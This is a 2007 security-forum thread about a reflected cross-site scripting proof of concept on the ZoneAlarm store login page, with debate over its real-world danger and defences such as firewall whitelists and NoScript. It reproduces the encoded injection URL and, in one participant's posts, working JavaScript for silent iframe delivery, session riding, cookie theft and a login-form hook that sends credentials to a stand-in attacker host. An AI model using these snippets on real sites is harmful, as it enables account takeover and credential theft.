XSS sample using Zone Alarm link

[elio]

Everybody here registered ZoneAlarm users, right?
There's something odd today in the ZoneAlarm customer area.
Thoughts?

[fax]

Originally Posted by elio

Everybody here registered ZoneAlarm users, right?
There's something odd today in the ZoneAlarm customer area.
Thoughts?

Just an empty page... to my end.
But if a click on my account I get the page where you are asked to input your log-in and password.

Fax

[elio]

Originally Posted by fax

Just an empty page... to my end.
But if a click on my account I get the page where you are asked to input your log-in and password.

Completely empty?
What does "click on my account" mean?
Have you got JavaScript enabled?

[fax]

Originally Posted by elio

Completely empty?
What does "click on my account" mean?
Have you got JavaScript enabled?

Yes, empty page... only ZA headers and footers.

Your link is to ZA customer account. You need to input the login and password to log-in.

Yes, Java is enabled.

Fax

[fax]

Originally Posted by elio

Completely empty?
What does "click on my account" mean?
Have you got JavaScript enabled?

What I should have seen Elio?

Fax

[elio]

Originally Posted by fax

What I should have seen Elio?
Fax

If you followed the link and you had JavaScript enabled, you should see the real, legit ZoneAlarm customer area login page injected with an external script: XSS PoC by a certain "mario".
This is innocuous, but if you were already logged in (or you had password automatic completion) and he was a bad guy he could own your account unnoticed, rather than displaying a dumb "defacement" page.
Screenshot attached (taken 2 minutes ago).

[fax]

Originally Posted by elio

If you followed the link and you had JavaScript enabled, you should see the real, legit ZoneAlarm customer area login page injected with an external script: XSS PoC by a certain "mario".
This is innocuous, but if you were already logged in (or you had password automatic completion) and he was a bad guy he could own your account unnoticed, rather than displaying a dumb "defacement" page.
Screenshot attached (taken 2 minutes ago).

Thanks for this... In my case it does not work...
I have javascript enabled... but I don't use password automatic completion.. and I usually log-off from sites after having used them.

My password are kept safe with double Rijndael 256-Bit encryption and don't stay in clipboard or in memory more than 5 seconds after their use

Fax

[mcastr]

It doesn't work for me either, using IE6. I have javascript enabled as well, I get a popup that IE can't open or process the page with a bunch of numbers, then when I click OK I get Page Not Found.

It does work with Firefox though.

[Rmus]

Hi elio,

This very interesting!

My results are the same as mcastr.

Regarding the link: how did you find it? It appears to be someone's session ID.


regards,

-rich

[fax]

Yep! I can confirm too...

With IE7 nothing.
With Firefox it works!

Fax

[elio]

Originally Posted by fax

With IE7 nothing.

Sorry, didn't bother to test on IE
It seems that the included script being loaded from a non-SSL server was troublesome ("This page contains unprotected objects...").

I've got no SSL server to work-around, but this one will work on IE7 nonetheless

rich:

Originally Posted by Rmus

Regarding the link: how did you find it? It appears to be someone's session ID.

The session ID is mario's, I guess. I found the original in RSnake's forum.
I changed it to use English instead of German, and now I "enhanced" it to work with IE7.
Those hardcore hackers, thinking that if it works with Firefox it's gonna work everywhere

[Rmus]

Well, after thinking about it, it can't be someone's sessionID because everytime I've checked my own sessions,
once I've logged off and the session cookie is discarded, that page will no longer load.

So, what has he done? How did he get that page to load that you posted?

Since it's javascript, a search of the cached .js files revealed the culprit:

http://www.urs2.net/rsj/computing/imgs/xss_cache.gif

http://www.urs2.net/rsj/computing/imgs/xss_js.gif

Now, how did that i.js file get cached? Looking at the source code revealed nothing.
Hmmm... Must be some obfuscation somewhere.

Comparing a legitimate ZA login page with mario's page you linked reveals an interesting difference.
The following appears in mario's page but not the legitimate ZA page:

<input type="hidden" value="glo"><script>eval(String.fromCharCode(97,61,100,111,99,117,
109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,
105,112,116,39,41,59,97,46,115,114,99,61,39,104,116,116,112,58,47,47,104,52,107,46,105,
110,47,105,46,106,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,
112,101,110,100,67,104,105,108,100,40,97,41,59))</script>bal.jsp" name="destination"/></td>

Well, that eval(String.fromCharCode happens to be appended to the link you posted:

https://www.zonealarm.com/store/application;jsessionid=GAwSf4C5dJtd3A5PIG4e7
TNkOv0tIU9JP0UHFsT9JD7HKigvl1Q2!-1992105728!-1062696903!7551!7552!NONE?namespace=zls_user&

origin=glo%22%3E%3Cscript%3Eeval(String.fromCharCode(97,61,100,111,99,117,109,101,110,116,
46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,
46,115,114,99,61,39,104,116,116,112,58,47,47,104,52,107,46,105,110,47,105,46,106,115,39,59,100,
111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,
41,59))%3C/script%3Ebal.jsp&event=link.login&dc=34std&ctry=DE&lang=en

Easy enough to convert to ASCII. The pertinent data is

104,116,116,112,58,47,47,104,52,107,46,105,110,47,105,46,106,115

which is:

http://h4k.in/i.js

While this is interesting, I hope you will eventually post a real-world example as you described in the other thread, beginning with your post #25, that doesn't require user interaction:

http://www.wilderssecurity.com/showthread.php?t=173750

You wrote later in the thread,

You're still assuming that the start point must be a link in your email or something interactive anyway.

I gave an old PayPal example, whose techniques you said were outdated:

If an XSS vulnerability was found today in Paypal, its exploitation would likely happen in a perfectly silent and invisible way,

Fair enough. So, give us an example.

You wrote in the other thread,

given any XSS vulnerability you can perform arbitrary complex and user-invisible session riding attacks.

I would like to see a real-world example - no PoC or snake oil - where you explain step-by-step what happens, from the moment the user goes to the page, through the Log-in, and most important how the hacker retrieves the information. I assume he doesn't knock on your door and ask you pretty-please.

It is the point of retrieval which will give us something to work with.

regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."

--Bruce Schneier

[elio]

Originally Posted by RMus

I gave an old PayPal example, whose techniques you said were outdated:
Fair enough. So, give us an example.

OK, random porn site containing the following:

<iframe style="width: 1px; height: 1px;" 
  src="http://www.zonealarm.com/store/...all...our...fancy...XSS...URL">
</iframe>

This will navigate automatically (no user interaction) silently and invisibly to the vulnerable site.
If there's some form of auto-completion or "remember me" function, or the victim is already logged in... OMG!

Originally Posted by RMus

It is the point of retrieval which will give us something to work with.

That's the easiest part, really.
Three non interactive scenarios:

1. Victim already logged in and we already know the topology of the vulnerable site
   We can ride the session using JavaScript navigation, non need to retrieve actual credentials.
   Example (supposing we're in some "send money form"):
   

   document.getElementById("amount").value="10000";
   document.getElementById("pay-form").submit();

   Or, if we want to scrape the content of some interesting page, like his contact list on a webmail:
   

   var x = new XMLHttpRequest();
   x.open("GET", "contactlist.aspx", false);
   x.send(null);
   var f = document.body.appendChild(document.createElement("form"));
   var i = f.appendChild("input");
   i.name = "contacts";
   i.value = x.responseText;
   f.action="http://elio-the-evil-hacker.com/mail_collector.php";
   f.submit();

2. Victim already logged in, site internals unknown or changing
   We could steal session cookie and ride the session manually, just
   

   new Image().src="http://elio-the-evil-hacker.com?session-cookie=" + 
   document.cookie

3. Victim not logged in, but has form automatic completion enabled
   We just wait for login form to be auto-completed and then we phone home (or we "click" on the submit button and ride the session, if we know how the site is made inside):
   

   function xss() {
    var f = document.forms[2]; // grab the 3rd form in the page, the login one
    if(!(f && f.zl_user_name && f.zl_user_password)) return // nothing to see here
    if(f.zl_user_name.value && f.zl_user_password.value) {
      // we've got everything, let's phone home
      new Image().src="hxxp://elio-the-evil-hacker.com?u=" + 
        escape(f.zl_user_name.value) + "&p=" + 
        escape(f.zl_user_password.value);
   
     // OK, this is just a demo
     document.body.innerHTML = "Your credentials have just been stolen:<br>" + 
          f.zl_user_name.value + ", " + 
          f.zl_user_password.value + "<h1>MWAHAHAHA!</h1>";
     return;
    }
    if(f.zl_user_password.onchange == xss) return;
    f.zl_user_name.onchange = xss;
    f.zl_user_password.onchange = xss;
   }
   window.onload = xss;

If everything else fails, we can just resort to good old social engineering combined with approach #3:
I could post in this forum something like

WTF is the story with the
shameless new ZA license expiring policies?

OMG, the location bar and the SSL lockpad both say I'm on the legit site: it may even work

[Rmus]

Originally Posted by elio

We just wait for login form to be auto-completed and then we phone home (or we "click" on the submit button and ride the session, if we know how the site is made inside):

function xss() {
 var f = document.forms[2]; // grab the 3rd form in the page, the login one
 if(!(f && f.zl_user_name && f.zl_user_password)) return // nothing to see here
 if(f.zl_user_name.value && f.zl_user_password.value) {
   // we've got everything, let's phone home
   new Image().src="hxxp://elio-the-evil-hacker.com?u=" + 
     ...

This is the point at which I think the attack can be stopped. Can you guess how?

I will return to this in a few hours - I'm leaving for a meeting - and I will layout a security strategy that might work.

Meanwhile, since you know the code thoroughly, can you suggest a solution to prevent the stealing of the user's information?

regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."

--Bruce Schneier

[/quote]

[Rmus]

Well, I was hoping you might have come up with a suggestion...

OK. Somewhere in one of these threads I mentioned that everyone should know how their secure-transaction sites work. To be really on top of it would be to know the IP addresses that are called during the transaction.

Some sites use an unsecure HTTP home page and then switch to a secure log-in HTTPS page. My bank has just one secure HTTPS URL for the entire transaction.

How do you determine the the IP(s)? By letting your browser prompt when you initially establish your account.

This requires that you have three browser rules in your firewall ruleset:

• 1) HTTP Port 80 any address: this is your normal surfing rule - all traffic permitted
  
• 2) HTTP Port 80 custom addresses: here, you enter any HTTP address that your transaction sites use
  
• 3) HTTPS Port 443 custom addresses: same as rule 2) but HTTPS

Here is my rule set:

http://www.urs2.net/rsj/computing/imgs/xss_ruleset.gif

The second two rules have created a White List (custom addresses) of permitted IPs.

Have you guessed by now what's going on? This is one way of preventing pharming.

Pharming is when a user thinks she/he is accessing the legitimate site's page, when she/he is actually accessing the IP of a spoofed site.

And isn't that really what's going on behind the scenes in these scripts? When the user clicks "Submit" the information should stay within the site, but this script says, Nope: I'm sending this to elio-the-evil-hacker .

Well, maybe not.

Let's test it out with your ZA link from your first post.

I went to the ZA site to snag the IPs - that site has tracking and webstore stuff. Oh well... in the name of testing...

So, with those IPs in the custom addresses, let's see what happens.

Now, with this setup, before you go to your transaction site, you uncheck the first browser rule and this passes the firewall check order down to the next rule, which will alert if an IP request doesn't match what is on the White List (custom addresses).

So, I click on your link, the page starts to load, it looks like the normal ZA site, and as soon as the "eval(String.fromCharCode" is appended to the PageSourceCode, the attempt to connect out to cache the i.js file initiates,

http://h4k.in/i.js

ooops... since that IP doesn't match any IP on the White List:

http://www.urs2.net/rsj/computing/imgs/xss_kerio.gif

At this point, the alert user will realize something is amiss. Verifying:

Initiating server query ...
Looking up the domain name for IP: 62.75.146.110
The domain name for the IP address is: static-ip-62-75-146-110.inaddr.intergenia.de
Date: Fri, 11 May 2007 01:12:13 GMT
Server: Apache
X-Pingback: http://mario.heideri.ch/xmlrpc.php
Query complete.

...

netname:      VSERVER-1
descr:        vSERVER - Virtual dedicated Server-Hosting
descr:        http://www.vserver.de
country:      DE

and:

Initiating server query ...
Looking up IP address for domain: h4k.in
The IP address for the domain is: 62.75.146.110
Query complete.

In your script, when the user clicks "Submit" and initiates the request to connect to elio-the-evil-hacker, a similar alert would be triggered.

Well, there may be some sophisticated ways around this, but I don't think cybercriminals are too worried about many people going to this trouble. I know of only one other person besides myself.

regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."

--Bruce Schneier

[nadirah]

The NoScript extension for firefox now has some XSS handling functionality.

V. 1.1.4.8.070430 "XSS Sniper + Flash Nanny"

Main good news:

• Experimental noscript.contentBlocker hidden preference, extends the content restrictions for untrusted sites also to trusted pages, turning NoScript in a general content blocker for Java, Flash and other plugins functionally similar to FlashBlock.
• Reset button in Options Dialog restores default settings.
• Much improved precision of the Anti-XSS protection, enhanced also by configurable exceptions and an "Unsafe Reload" command to deal with very few remaining false positives.
  While Cross-Site Scripting (XSS) vulnerabilities need to be fixed by the web developers, now users can finally do something to protect themselves: NoScript is the only effective defense available to "web-consumers", waiting for "web-providers" to clean up their mess.
• Options dialog simplification and reorganization.
• New option to block META redirections placed inside <NOSCRIPT> elements (Firefox 2 and above, no SeaMonkey yet)
• Plays nicer with Digg and other "Web 2.0" sites, by definitely fixing an occasional glitch which previously happened with the nested dynamic loading hack used by some AJAX libraries.
• Super fast and reliable reload when permissions changes.
• Long awaited blacklist feature.

More in the changelog... If you don't want this information page to open next time you upgrade NoScript, please read this FAQ.

[nadirah]

Besides the above, here are some details of the page source at hxxps://www.zonealarm.com/store/......

<!--WEBSIDESTORY CODE HBX1.0 (Universal)-->
<!--COPYRIGHT 1997-2004 WEBSIDESTORY,INC. ALL RIGHTS RESERVED. U.S.PATENT No. 6,393,479B1. MORE INFO:http://websidestory.com/privacy-->

<script language="javascript">
var _hbEC=0,_hbE=new Array;function _hbEvent(a,b){b=_hbE[_hbEC++]=new Object();b._N=a;b._C=0;return b;}
var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg.zonelabs.com";

//BEGIN EDITABLE SECTION
//CONFIGURATION VARIABLES
hbx.acct="DM5404078ADR94EN3";//ACCOUNT NUMBER(S)
hbx.pn="/store/login.jsp";//PAGE NAME(S)
hbx.mlc="";//MULTI-LEVEL CONTENT CATEGORY
hbx.pndef="title";//DEFAULT PAGE NAME
hbx.ctdef="full";//DEFAULT CONTENT CATEGORY

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";//FORM VALIDATION MINIMUM ELEMENTS OR SUBMIT FUNCTION NAME
hbx.lt="auto";//LINK TRACKING
hbx.dlf="n";//DOWNLOAD FILTER
hbx.dft="n";//DOWNLOAD FILE NAMING
hbx.elf="n";//EXIT LINK FILTER

//SEGMENTS AND FUNNELS
hbx.seg="";//VISITOR SEGMENTATION
hbx.fnl="";//FUNNELS

//CAMPAIGNS
hbx.cmp="";//CAMPAIGN ID
hbx.cmpn="";//CAMPAIGN ID IN QUERY
hbx.dcmp="";//DYNAMIC CAMPAIGN ID
hbx.dcmpn="";//DYNAMIC CAMPAIGN ID IN QUERY
hbx.dcmpe="";//DYNAMIC CAMPAIGN EXPIRATION
hbx.dcmpre="";//DYNAMIC CAMPAIGN RESPONSE EXPIRATION
hbx.hra="";//RESPONSE ATTRIBUTE
hbx.hqsr="";//RESPONSE ATTRIBUTE IN REFERRAL QUERY
hbx.hqsp="";//RESPONSE ATTRIBUTE IN QUERY
hbx.hlt="";//LEAD TRACKING
hbx.hla="";//LEAD ATTRIBUTE
hbx.gp="";//CAMPAIGN GOAL
hbx.gpn="";//CAMPAIGN GOAL IN QUERY
hbx.hcn="";//CONVERSION ATTRIBUTE
hbx.hcv="";//CONVERSION VALUE
hbx.cp="null";//LEGACY CAMPAIGN
hbx.cpd="";//CAMPAIGN DOMAIN

//CUSTOM VARIABLES
hbx.ci="";//CUSTOMER ID
hbx.hc1="en";//CUSTOM 1
hbx.hc2="DE";//CUSTOM 2
hbx.hc3="English-EU";//CUSTOM 3
hbx.hc4="/store/login.jsp | lang-en_ctry-DE_dc-34std_campaign_id-nvp_lid-nvp_pid-nvp_prt-nvp_c-nvp_d-nvp_w-nvp";//CUSTOM 4
hbx.hrf="";//CUSTOM REFERRER
hbx.pec="";//ERROR CODES

//INSERT CUSTOM EVENTS

//END EDITABLE SECTION

//REQUIRED SECTION. CHANGE "YOURSERVER" TO VALID LOCATION ON YOUR WEB SERVER (HTTPS IF FROM SECURE SERVER)
</script>
<script language="javascript1.1" defer src="/store/media/js/hbx/hbx.js"></script>

<!-- Begin SearchRev Lead Tag -->
  
  <noscript>
  <img src='http://s2.srtk.net/www/delivery/ti.php?bannerid=81&trackerid=258&cb=8829' width='1' height='1' border='0'/>
  </noscript>
  <!-- Begin SearchRev Lead Tag -->
  <script type="text/javascript" src="http://s2.srtk.net/www/delivery/srtag.s2.js"></script>
  <script type="text/javascript">
  // SearchRev tag parameters (do not change)
  var sr_tagtype="LEAD";
  var fpc=1;
  sr_tag(258,81);
</script>
  <!-- End SearchRev Lead Tag -->
  <!-- -----The following Coding is for the Advertising.com Web Beacon ---- -->
  <img src="http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=znealrm_cs=1&betq=3239=373541" width = "1" height = "1" border = "0">

Screenshot
------------

[Mrkvonic]

Hello,

elio, good job on the code. Now... the tricky question.

Do you remember what I asked you in the other thread, regarding the link in the forum and getting owned?

Well, I do not see how the system gets owned here. No silent installation of a trojan that takes over the system or anything ... That's something that cannot be readily done in Firefox.

For example, reading an arbitrary file off the hard disk, changing a dll, injecting tomato soup into winlogon etc...

Mrk

[fax]

Unless is better deviced, you still easily stop this attack, even without setting specific rules...



Fax

[elio]

Originally Posted by fax

Unless is better deviced, you still easily stop this attack, even without setting specific rules...

Attachment 189718

Fax

Unless I'm missing something, your own screenshot tells a different tale

[fax]

Originally Posted by elio

Unless I'm missing something, your own screenshot tells a different tale

The screenshot display what happens if you do not allow unsecure connection while within a secure connection. ie. operation aborted.

So, next step to improve it is to connect to a secure site, so to avoid IE to warn you

Fax

[elio]

Originally Posted by Mrkvonic

Do you remember what I asked you in the other thread, regarding the link in the forum and getting owned?

Do you remember the premise in my first "real" post in this forum?

Originally Posted by Elio

I think everybody here agrees that with a safe up-to-date browser, safe up-to-date plugins (QuickTime+Java vuln anyone?), safe up-to-date OS (.ANI cursor vuln anyone?) and up-to-date virus signatures, getting infected by clicking a link is quite unlikely (0 days anyone?)

Originally Posted by Mrkvonic

Well, I do not see how the system gets owned here. No silent installation of a trojan that takes over the system or anything ... That's something that cannot be readily done in Firefox.

While your last statement is questionable too, I do believe Mozilla team is the most responsive around, but I also believe PC "0wn3sh1p" is a bit overrated.

Many people here tend to overlook what goes on inside their browsers, as long as they've got antivirus, firewall and possibly a sandbox wrapped around their browsers.

So anything JavaScript related is either labeled as browser specific (my browser is safer than yours) or paranoid (my PC can't be hacked anyway), while we're talking about cross-browser web bugs, not browser/system vulnerabilities.

The fact is that a steadily increasing part of our life is moving online, so having our web identities (and bank accounts) compromised can be just as bad as having our PCs injected with "tomato soup into winlogon etc..."

[elio]

Originally Posted by Rmus

Well, I was hoping you might have come up with a suggestion...

Sorry, I go offline from time to time
Anyway, the only suggestion I could give at this moment would be nadirah's one (use Noscript) coupled with never whitelist sites containing user-generated content!.

Originally Posted by Rmus

Somewhere in one of these threads I mentioned that everyone should know how their secure-transaction sites work. To be really on top of it would be to know the IP addresses that are called during the transaction.

I can only agree, but I cannot see any "normal" user doing that.

Originally Posted by Rmus

Some sites use an unsecure HTTP home page and then switch to a secure log-in HTTPS page.

My bank, for instance, which is still considered one of the most secure in the world, even serves images and other static content from HTTP connections even in "secure" pages (for performance reasons, I guess).

Originally Posted by Rmus

The second two rules have created a White List (custom addresses) of permitted IPs.
Have you guessed by now what's going on? This is one way of preventing pharming.

Again, I can only agree.
I also unconditionally approve your attitude to security, default deny (which, if taken seriously, would reveal how anti-virus products as they're conceived today are just a money-mongering joke).
But you're suggesting to whitelist HTTP connections (i.e. the sites I can open) and prompt me (block me!) every time I follow a casual link
The Noscript extension has been recently called "madness" because denying just code execution (in a non-blocking, easy-opt-in fashion) would be too much "crippling the web"...

Originally Posted by Rmus

Pharming is when a user thinks she/he is accessing the legitimate site's page, when she/he is actually accessing the IP of a spoofed site.

And isn't that really what's going on behind the scenes in these scripts? When the user clicks "Submit" the information should stay within the site, but this script says, Nope: I'm sending this to elio-the-evil-hacker .

Well, maybe not.

It's not, indeed, but good attempt anyway.
Reflected XSS is neither Phishing nor Phleshing nor Pharming, even if it can be used as a tool to make those scams way more effective: no anti-phishing system that I know would detect these attacks.
The most important aspect is that the page is not made up to appear like the original, it is the true original from the true original server (just "enhanced" with some alien code of mine).
Now the cool thing is not that my code, once it's there, could steal your data: the real deal is that it can do anything YOU can do.
Even supposing that you whitelist the "good" HTTP traffic (and this sounds hardly effective if I decide to post the data in a google group, in a google document or in another wonderful read/write google tool using an account set up just for this scam), how do you cope with the fact I could order a money transfer (supposing this is a bank account or Paypal) or send an email containing the interesting data to my disposable mail address (supposing this is a webmail) or any other funny activity I can imagine to perform impersonating you without leaving the vulnerable site*?

*ehy fax ^^

[fax]

Originally Posted by elio

*ehy fax ^^

Eheh... LOL

Fax

[Mrkvonic]

Hello,

elio,

Regarding in-browser threats. I think these are indeed overrated, too.

Automatically remember your password
Well, that does kind of contradict the meaning of password right?

Doing sensitive stuff online
This has much to do with your country law and bank policy than the Internet. For example, your bank account is limited to transferring money only to a number of accounts. So it does not matter if someone can enter, because that someone cannot do any damage.

More on doing sensitive stuff online
Why click on a link in an email to access your bank site? You know your bank site. You do not need funny looking links to do that. This has little to do with browser security and much with brains.

Life online
No matter how fervently Yahoo or MySpace might want me to dedicate my feeble existence to their badly coded pages - and read about my favorite celebrities doing charity enemas in Uganda - this is not something that is going to happen any time soon.
- Personally, because I refuse to suckle on the MPIA teat.
- Globally, luckily, because people are morons and will take them 30 years to get the hang of the Internet.

Eventually, it comes to brains.
If you are not likely to fall for any social engineering, you won't fall for this one too. So it's not really a matter of security. It's more of a trend. The victims will always be the same group of people, roughly 90% of the population, the people who never learn.

Mrk